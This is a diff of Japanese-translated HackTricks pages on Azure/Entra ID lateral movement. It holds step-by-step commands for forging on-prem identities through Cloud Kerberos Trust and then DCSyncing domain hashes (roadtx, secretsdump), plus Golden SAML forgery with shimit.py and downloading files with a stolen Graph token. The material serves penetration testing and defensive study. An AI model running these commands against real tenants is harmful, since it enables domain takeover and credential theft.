[AADInternalsのPRTに関する投稿](https://aadinternals.com/post/prt/) +- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index d07520db4..802993526 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -27,9 +27,8 @@ curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/site curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq ## Finally, download a file from that drive: -┌──(magichk㉿black-pearl)-[~] -└─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' +curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` -**この種のアクセストークンは、他のプロセス内にも存在することに注意してください。** +**この種のアクセストークンは、他のプロセス内にも存在する可能性があることに注意してください。** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 4f7919eb5..c0e20eb71 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,48 +2,71 @@ {{#include ../../../../banners/hacktricks-training.md}} -**この投稿は** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **の要約であり、攻撃に関するさらなる情報を確認できます。この技術については** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**でもコメントされています。** +**この投稿は** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **に関する要約であり、攻撃に関するさらなる情報を確認できます。この技術については** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**でもコメントされています。** -## 基本情報 +## Kerberos Trust Relationship Overview -### 信頼 +**Cloud Kerberos Trust (Entra ID -> AD)** -- この機能（Windows Hello for Businessの一部）は、一方向の信頼を確立し、オンプレミスのADが**Entra IDを信頼して**ADのためにKerberosチケットを発行します。これを有効にすると、ADに**AzureADKerberos$**コンピュータオブジェクトが作成され（読み取り専用ドメインコントローラとして表示される）、リンクされた**`krbtgt_AzureAD`**アカウント（セカンダリKRBTGT）が作成されます。Entra IDはこれらのアカウントの鍵を保持し、ADユーザーのために「部分的」Kerberos TGTを発行できます。ADドメインコントローラはこれらのチケットを尊重しますが、RODCのような制限があります：デフォルトでは、**高特権グループ（Domain Admins、Enterprise Adminsなど）は*拒否*され**、通常のユーザーは許可されます。これにより、Entra IDは通常の条件下でドメイン管理者を信頼を通じて認証できなくなります。しかし、後で見るように、十分なEntra IDの権限を持つ攻撃者はこの信頼設計を悪用できます。 -Azure ADとの信頼が確立されると、**ADに読み取り専用ドメインコントローラー（RODC）が作成されます。** **RODCコンピュータアカウント**は**`AzureADKerberos$`**と名付けられます。また、**`krbtgt_AzureAD`**という名前の二次`krbtgt`アカウントも作成されます。このアカウントには、Azure ADが作成するチケットに使用される**Kerberosキー**が含まれています。 +## Pivoting from Entra ID to On-Prem AD -したがって、このアカウントが侵害されると、任意のユーザーを偽装することが可能になるかもしれません... ただし、このアカウントはドメイン管理者、エンタープライズ管理者、管理者などの一般的な特権ADグループのためのチケットを作成することができないため、これは真実ではありません。 +**シナリオ：** 対象組織は**Cloud Kerberos Trust**をパスワードレス認証のために有効にしています。攻撃者はEntra ID（Azure AD）で**Global Administrator**権限を取得しましたが、まだオンプレミスのADを制御していません。攻撃者はまた、ドメインコントローラへのネットワークアクセスを持つ足場を確保しています（VPNまたはハイブリッドネットワーク内のAzure VM経由）。クラウドの信頼を利用して、攻撃者はAzure ADの制御を活用してAD内で**Domain Admin**レベルの足場を取得できます。 -> [!CAUTION] -> ただし、実際のシナリオでは、これらのグループに属さない特権ユーザーが存在します。したがって、**新しいkrbtgtアカウントが侵害された場合、それを使用して彼らを偽装することができる可能性があります。** +**前提条件：** -### Kerberos TGT +- **Cloud Kerberos Trust**がハイブリッド環境で構成されている（指標：ADに`AzureADKerberos$` RODCアカウントが存在する）。 -さらに、ユーザーがハイブリッドアイデンティティを使用してWindowsで認証すると、**Azure ADはPRTと共に部分的なKerberosチケットを発行します。** TGTは部分的であるため、**AzureADはオンプレミスAD内のユーザーに関する限られた情報**（セキュリティ識別子（SID）や名前など）を持っています。\ -Windowsはその後、`krbtgt`サービスのためのサービスチケットを要求することで、この部分的なTGTを完全なTGTに**交換することができます**。 +- 攻撃者はEntra IDテナント内で**Global Admin（またはHybrid Identity Admin）**権限を持っている（これらの役割はAD Connectの**同期API**を使用してAzure ADユーザーを変更できます）。 -### NTLM +- 攻撃者が認証できる少なくとも1つの**ハイブリッドユーザーアカウント**（ADとAADの両方に存在）が必要です。これは、その資格情報を知っているかリセットするか、パスワードレスの方法（例：一時的アクセスパス）を割り当ててプライマリリフレッシュトークン（PRT）を生成することで取得できます。 -Kerberos認証をサポートしないサービスがある可能性があるため、**二次`krbtgt`**キーを使用して署名された**部分的TGTを要求することが可能です**。これは、リクエストの**PADATA**部分に**`KERB-KEY-LIST-REQ`**フィールドを含めることで行われ、その後、**プライマリ`krbtgt`キーで署名された完全なTGTを取得します**。 +- デフォルトのRODC「拒否」ポリシーに*含まれない*高特権の**オンプレミスADターゲットアカウント**が必要です。実際には、**AD Connect同期アカウント**（通常は**MSOL_***と名付けられる）が優れたターゲットであり、AD内でDCSync（レプリケーション）権限を持っていますが、通常は組み込みの管理グループのメンバーではありません。このアカウントは通常Entra IDに同期されないため、そのSIDを衝突なく偽装することができます。 -## Cloud Kerberos Trustを悪用してDomain Adminを取得する +**攻撃手順：** -AzureADが**部分的TGT**を生成する際には、ユーザーに関する詳細を使用します。したがって、グローバル管理者が**AzureAD内のユーザーのセキュリティ識別子と名前を変更できる場合**、そのユーザーのTGTを要求すると、**セキュリティ識別子は異なるものになります**。 +1. **Azure AD同期APIアクセスを取得する：** Global Adminアカウントを使用して、Azure ADの**Provisioning（同期）API**のアクセストークンを取得します。これは、**ROADtools**や**AADInternals**などのツールを使用して行うことができます。例えば、ROADtools（roadtx）を使用して： +```bash +# Using roadtx to get an Azure AD Graph token (no MFA) +roadtx gettokens -u -p --resource aadgraph +``` +*(Alternatively, AADInternals' `Connect-AADInt` can be used to authenticate as Global Admin.)* -Microsoft GraphやAzure AD Graphを通じてそれを行うことはできませんが、グローバル管理者が**SAM名とSIDを任意のハイブリッドユーザーに対して変更するために使用できる、同期されたユーザーを作成および更新するためにAPI Active Directory Connectを使用することが可能です**。そして、認証を行うと、変更されたSIDを含む部分的TGTを取得します。 +2. **ハイブリッドユーザーのオンプレミス属性を変更する:** Azure AD **同期API**を利用して、選択したハイブリッドユーザーの**onPremises Security Identifier (SID)**と**onPremises SAMAccountName**をターゲットADアカウントに一致させます。これにより、Azure ADに対してクラウドユーザーが偽装したいオンプレミスアカウントに対応していることを効果的に伝えます。オープンソースの**ROADtools Hybrid**ツールキットを使用して: +```bash +# Example: modify a hybrid user to impersonate the MSOL account +python3 modifyuser.py -u -p \ +--sourceanchor \ +--sid --sam +``` +> ユーザーの `sourceAnchor` (不変ID) は、変更するAzure ADオブジェクトを特定するために必要です。このツールは、ハイブリッドユーザーのオンプレミスSIDとSAMアカウント名をターゲットの値（例：MSOL_xxxxアカウントのSIDとSAM）に設定します。Azure ADは通常、これらの属性をGraph経由で変更することを許可していません（読み取り専用です）が、同期サービスAPIはそれを許可し、グローバル管理者はこの同期機能を呼び出すことができます。 -AADInternalsを使用して、[Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a)コマンドレットを介して同期されたユーザーを更新することができることに注意してください。 +3. **Azure ADから部分的なTGTを取得する:** 変更後、ハイブリッドユーザーとしてAzure ADに認証します（例えば、デバイス上でPRTを取得するか、彼らの資格情報を使用します）。ユーザーがサインインすると（特にドメイン参加またはEntra参加のWindowsデバイス上で）、Azure ADはそのアカウントに対して**部分的なKerberos TGT (TGT****AD**)を発行します。これはCloud Kerberos Trustが有効になっているためです。この部分的なTGTはAzureADKerberos$ RODCキーで暗号化され、設定した**ターゲットSID**が含まれています。これをROADtoolsを使用してユーザーのためにPRTを要求することでシミュレートできます: +```bash +roadtx getprt -u -p -d +``` +この出力は、部分的なTGTとセッションキーを含む`.prt`ファイルを生成します。アカウントがクラウド専用パスワードの場合、Azure ADはPRTレスポンスにTGT_ADを含めます。 -### 攻撃の前提条件 +4. **Exchange Partial TGT for Full TGT (on AD):** 部分的なTGTは、ターゲットアカウントの**フルTGT**を取得するためにオンプレミスのドメインコントローラーに提示できます。これは、`krbtgt`サービス（ドメインの主要なTGTサービス）に対してTGSリクエストを実行することで行います。基本的に、チケットをフルPACを持つ通常のTGTにアップグレードします。この交換を自動化するためのツールが利用可能です。例えば、ROADtools Hybridのスクリプトを使用します: +```bash +# Use the partial TGT from the PRT file to get a full TGT and NTLM hash +python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash +``` +このスクリプト（またはImpacketの同等物）は、ドメインコントローラーに接続し、ターゲットADアカウントの有効なTGTを取得します。特別なKerberos拡張が使用されている場合、アカウントのNTLMハッシュも含まれます。**`KERB-KEY-LIST-REQ`**拡張は、自動的にDCにターゲットアカウントのNTLMハッシュを暗号化された返信で返すように要求するために含まれています。その結果、ターゲットアカウントのための資格情報キャッシュ（`full_tgt.ccache`）または回収されたNTLMパスワードハッシュが得られます。 -攻撃の成功とDomain Admin権限の取得は、特定の前提条件を満たすことに依存します： +5. **ターゲットを偽装し、ドメイン管理者に昇格する:** これで攻撃者は実質的に**ターゲットADアカウントを制御**しています。たとえば、ターゲットがAD Connect **MSOLアカウント**であった場合、ディレクトリに対するレプリケーション権限を持っています。攻撃者は、そのアカウントの資格情報またはKerberos TGTを使用して、ADからパスワードハッシュをダンプする**DCSync**攻撃を実行できます（ドメインKRBTGTアカウントを含む）。例えば： +```bash +# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash) +secretsdump.py 'AD_DOMAIN/$@' -hashes : LOCAL +``` +これはすべてのADユーザーパスワードハッシュをダンプし、攻撃者にKRBTGTハッシュを提供します（これにより、ドメインKerberosチケットを自由に偽造でき）、実質的にADに対する**Domain Admin**権限を与えます。ターゲットアカウントが別の特権ユーザーであった場合、攻撃者はそのユーザーとしてドメインリソースにアクセスするために完全なTGTを使用できます。 -- 同期APIを介してアカウントを変更する能力が重要です。これは、グローバル管理者の役割を持つか、AD Connect同期アカウントを持つことで達成できます。あるいは、ハイブリッドアイデンティティ管理者の役割でも十分であり、AD Connectを管理し、新しい同期アカウントを作成する能力を付与します。 -- **ハイブリッドアカウント**の存在が不可欠です。このアカウントは、被害者アカウントの詳細で変更可能であり、認証のためにアクセス可能である必要があります。 -- Active Directory内の**ターゲット被害者アカウント**を特定する必要があります。攻撃はすでに同期された任意のアカウントに対して実行できますが、Azure ADテナントはオンプレミスのセキュリティ識別子を複製していない必要があり、チケットを取得するために未同期のアカウントを変更する必要があります。 -- さらに、このアカウントはドメイン管理者に相当する権限を持っている必要がありますが、AzureAD RODCによって無効なTGTが生成されないように、一般的なAD管理者グループのメンバーであってはなりません。 -- 最も適切なターゲットは、**AD Connect Syncサービスによって使用されるActive Directoryアカウント**です。このアカウントはAzure ADと同期されておらず、そのSIDは有効なターゲットとなり、パスワードハッシュを同期する役割のためにドメイン管理者に相当する権限を本質的に持っています（パスワードハッシュ同期が有効であると仮定）。エクスプレスインストールのドメインでは、このアカウントは**MSOL\_**で始まります。他のインスタンスでは、ドメインオブジェクト上のディレクトリ複製権限を持つすべてのアカウントを列挙することでアカウントを特定できます。 +6. **クリーンアップ:** オプションとして、攻撃者は同じAPIを介して変更されたAzure ADユーザーの元の`onPremisesSAMAccountName`とSIDを復元するか、単に作成された一時ユーザーを削除できます。多くの場合、次のAzure AD Connect同期サイクルでは、同期された属性の不正な変更が自動的に元に戻されます。（ただし、この時点でダメージはすでに発生しています -- 攻撃者はDA権限を持っています。） -### 完全な攻撃 +> [!WARNING] +> クラウドトラストと同期メカニズムを悪用することで、Azure ADのグローバル管理者はRODCポリシーによって明示的に保護されていないほぼ*すべての* ADアカウントを偽装できます。たとえそのアカウントがクラウド同期されていなくてもです。デフォルトの構成では、これは**Azure ADの侵害からオンプレミスADの侵害への完全な信頼を橋渡しします**。 -元の投稿で確認してください: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) +## 参考文献 + +- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md deleted file mode 100644 index 9437e4499..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ /dev/null @@ -1,9 +0,0 @@ -# Az - Default Applications - -{{#include ../../../../banners/hacktricks-training.md}} - -**技術を確認するには:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) と [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) - -このブログ記事では、Azure ADにおける特権昇格の脆弱性について説明しており、アプリケーション管理者や侵害されたオンプレミス同期アカウントがアプリケーションに資格情報を割り当てることで特権を昇格させることができます。この脆弱性は、Azure ADのアプリケーションおよびサービスプリンシパルの取り扱いにおける「設計上」の動作に起因しており、特にデフォルトのOffice 365アプリケーションに影響を与えます。報告はされていますが、Microsoftは管理権限の割り当て動作の文書化により、この問題を脆弱性とは見なしていません。この記事では、詳細な技術的洞察を提供し、Azure AD環境におけるサービスプリンシパルの資格情報の定期的なレビューを推奨しています。詳細な情報については、元のブログ記事を訪問してください。 - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md similarity index 54% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md index 6f5472d70..fda2c5702 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md @@ -4,15 +4,16 @@ ## 基本情報 -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation**は、**信頼**を確立した**ドメイン**の集合です。信頼のレベルは異なる場合がありますが、通常は**認証**を含み、ほぼ常に**承認**を含みます。典型的なフェデレーションには、**共有アクセス**のために**信頼**を確立した**複数の組織**が含まれることがあります。 +[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed) -オンプレミス環境を**Azure AD**と**フェデレート**し、このフェデレーションを認証と承認に使用できます。このサインイン方法は、すべてのユーザーの**認証がオンプレミスで行われる**ことを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。**AD FS**およびPingFederateとのフェデレーションが利用可能です。 +>**フェデレーション**は、**信頼**を確立した**ドメイン**の集合です。信頼のレベルは異なる場合がありますが、通常は**認証**を含み、ほぼ常に**承認**を含みます。典型的なフェデレーションには、**共有アクセス**のために**信頼**を確立した**複数の組織**が含まれることがあります。 +>あなたは**オンプレミスの**環境を**Azure AD**と**フェデレート**し、このフェデレーションを認証と承認に使用できます。このサインイン方法は、すべてのユーザーの**認証がオンプレミスで行われる**ことを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。**AD FS**およびPingFederateとのフェデレーションが利用可能です。
-基本的に、フェデレーションでは、すべての**認証**が**オンプレ**環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーは**オンプレの資格情報**を使用して**クラウド**アプリケーションに**アクセス**できます。 +基本的に、フェデレーションでは、すべての**認証**が**オンプレミス**環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーは**オンプレミスの資格情報**を使用して**クラウド**アプリケーションに**アクセス**できます。 -**Security Assertion Markup Language (SAML)**は、プロバイダー間でのすべての認証および承認の**情報**を**交換**するために使用されます。 +**セキュリティアサーションマークアップ言語 (SAML)** は、プロバイダー間でのすべての認証および承認の**情報**を**交換**するために使用されます。 フェデレーションのセットアップには、3つの当事者が存在します： @@ -20,16 +21,14 @@ - アイデンティティプロバイダー (IdP) - サービスプロバイダー (SP) -(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
-
- -1. 最初に、ユーザーがアプリケーション（サービスプロバイダーまたはSP、例えばAWSコンソールやvSphere Webクライアント）にアクセスします。このステップは特定の実装に応じてスキップされ、クライアントが直接IdP（アイデンティティプロバイダー）に移動することがあります。 -2. 次に、SPはユーザー認証のために適切なIdP（例：AD FS、Okta）を特定します。その後、SAML（Security Assertion Markup Language）AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。 +1. 最初に、ユーザーがアプリケーション (サービスプロバイダーまたはSP、例えばAWSコンソールやvSphereウェブクライアント) にアクセスします。このステップは、特定の実装に応じて、クライアントが直接IdP (アイデンティティプロバイダー) に移動することを許可する場合があります。 +2. 次に、SPはユーザー認証のために適切なIdP (例: AD FS、Okta) を特定します。その後、SAML (セキュリティアサーションマークアップ言語) AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。 3. IdPが引き継ぎ、ユーザーを認証します。認証後、IdPによってSAMLResponseが作成され、ユーザーを通じてSPに転送されます。 4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係を示す場合、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。 -**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください：** +**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください:** {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html @@ -38,52 +37,52 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html ## ピボッティング - AD FSは、クレームベースのアイデンティティモデルです。 -- "..クレームは、ユーザーに関して行われる単なるステートメント（例えば、名前、アイデンティティ、グループ）であり、主にインターネット上のどこにでもあるクレームベースのアプリケーションへのアクセスを承認するために使用されます。" +- "..クレームは、ユーザーに関して行われる単なるステートメント (例えば、名前、アイデンティティ、グループ) であり、主にインターネット上のクレームベースのアプリケーションへのアクセスを承認するために使用されます。" - ユーザーのクレームはSAMLトークン内に書き込まれ、IdPによって機密性を提供するために署名されます。 - ユーザーはImmutableIDによって識別されます。これはグローバルに一意で、Azure ADに保存されています。 -- ImmutableIDは、ユーザーのms-DS-ConsistencyGuidとしてオンプレミスに保存されており、またはユーザーのGUIDから導出できます。 -- 詳細は[https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)で確認できます。 +- ImmutableIDは、ユーザーのためにオンプレミスのms-DS-ConsistencyGuidに保存されており、またはユーザーのGUIDから導出できます。 +- 詳細は[https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)を参照してください。 -**ゴールデンSAML攻撃：** +**ゴールデンSAML攻撃:** - ADFSでは、SAML Responseはトークン署名証明書によって署名されます。 -- 証明書が侵害された場合、Azure ADにANYユーザーとして認証することが可能です！ -- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がありません。なぜなら、認証応答を偽造しているからです。 -- 証明書はDA権限を持つAD FSサーバーから抽出でき、インターネットに接続された任意のマシンから使用できます。 -- 詳細は[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)で確認できます。 +- 証明書が侵害された場合、Azure ADに同期された任意のユーザーとして認証することが可能です！ +- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がありません。なぜなら、私たちは認証応答を偽造しているからです。 +- 証明書はDA権限を持つAD FSサーバーから抽出でき、その後、インターネットに接続された任意のマシンから使用できます。 +- 詳細は[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)を参照してください。 ### ゴールデンSAML -**アイデンティティプロバイダー (IdP)**がユーザーサインインを承認するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これは、**サービスプロバイダー (SP)**がSAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。 +**アイデンティティプロバイダー (IdP)** がユーザーサインインを承認するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これは、**サービスプロバイダー (SP)** がSAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。 -[ゴールデンチケット攻撃](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)と類似点を引くことができ、ユーザーのアイデンティティと権限を認証するためのキー（ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名秘密鍵）が操作され、**認証オブジェクト**（TGTまたはSAMLResponse）を**偽造**することが可能です。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。 +[ゴールデンチケット攻撃](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)と類似点があり、ユーザーのアイデンティティと権限を認証するためのキー (ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名プライベートキー) を操作して**認証オブジェクト** (TGTまたはSAMLResponse) を**偽造**することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。 ゴールデンSAMLにはいくつかの利点があります： - **リモートで作成**でき、対象のドメインやフェデレーションの一部である必要はありません。 -- **二要素認証 (2FA)**が有効でも効果があります。 -- トークン署名の**秘密鍵は自動的に更新されません**。 +- **二要素認証 (2FA)** が有効でも効果があります。 +- トークン署名の**プライベートキーは自動的に更新されません**。 - **ユーザーのパスワードを変更しても**、すでに生成されたSAMLは無効になりません。 #### AWS + AD FS + ゴールデンSAML [Active Directory Federation Services (AD FS)]()は、信頼されたビジネスパートナー間での**アイデンティティ情報の安全な交換**を促進するMicrosoftのサービスです。これは、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有できるようにします。 -AWSが侵害されたドメインを信頼している場合（フェデレーション内で）、この脆弱性を利用してAWS環境内の任意の権限を**取得する**ことが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得するのに十分です。 +AWSが侵害されたドメインを信頼している場合、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**プライベートキー**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、このプライベートキーを取得できます。 ゴールデンSAML攻撃を実行するための要件は次のとおりです： -- **トークン署名秘密鍵** +- **トークン署名プライベートキー** - **IdP公開証明書** - **IdP名** -- **ロール名（引き受けるロール）** +- **ロール名 (引き受けるロール)** - ドメイン\ユーザー名 - AWSのロールセッション名 - AmazonアカウントID _太字の項目のみが必須です。他の項目は任意で入力できます。_ -**秘密鍵**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、秘密鍵を[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください： +**プライベートキー**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、プライベートキーを[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください： ```bash # From an "AD FS" session # After having exported the key with mimikatz @@ -112,7 +111,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - # Save SAMLResponse to file python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml ``` -
+
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
### オンプレミス -> クラウド ```bash diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md new file mode 100644 index 000000000..e19275eb4 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md @@ -0,0 +1,29 @@ +# ハイブリッドアイデンティティの雑多な攻撃 + +{{#include ../../../../banners/hacktricks-training.md}} + + +## Entra ID ユーザーをオンプレミスに強制的に同期させる + +[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) で述べられているように、オンプレミスの AD ユーザー内の **`ProxyAddress`** の値を変更し、Entra ID 管理者ユーザーのメールアドレスを追加し、AD と Entra ID のユーザーの UPN が一致することを確認することが可能でした（これが再び Entra ID です）、例えば **`SMTP:admin@domain.onmicrosoft.com`** のように。この操作により、**このユーザーの同期を Entra ID からオンプレミス AD に強制する**ことができるため、ユーザーのパスワードが知られていれば、Entra ID の管理者に**アクセスするために使用できる**可能性があります。 + +Entra ID からオンプレミス AD に新しいユーザーを同期させるための要件は以下の通りです。唯一の要件は： + +- オンプレミス AD 内のユーザーの属性を制御する（または新しいユーザーを作成する権限を持つ） +- Entra ID からオンプレミス AD に同期するためのユーザーがクラウド専用であることを知っている +- **ハードマッチ**を行うために、Entra ID ユーザーの immutableID 属性をオンプレミス AD ユーザーに変更できる必要があるかもしれません。 + + +> [!CAUTION] +> Entra ID はもはや Entra ID からオンプレミス AD に管理者を同期させることを許可していません。 +> また、これは **MFA をバイパスすることはありません**。 + + + +## 参考文献 + +- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/) +- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md similarity index 88% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md rename to 